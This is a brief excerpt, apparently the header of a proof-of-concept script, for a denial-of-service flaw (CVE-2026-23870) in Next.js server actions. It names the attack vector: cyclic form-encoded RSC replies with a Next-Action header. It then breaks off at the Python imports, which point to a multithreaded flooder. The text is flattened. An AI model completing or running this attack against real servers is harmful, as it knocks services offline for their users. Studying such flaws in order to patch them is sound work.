Next.js RSC server-action DoS (CVE-2026-23870)

Form-encoded cyclic RSC reply with Next-Action + Accept: text/x-component. Pre-patch React Next.js 16.2.5 can spin CPU / blow the stack. Availability only. !/usr/bin/env python3 -- coding: utf-8 -- import time from concurrent.futures import ThreadPoolExecutor, ascompleted from urllib.parse import...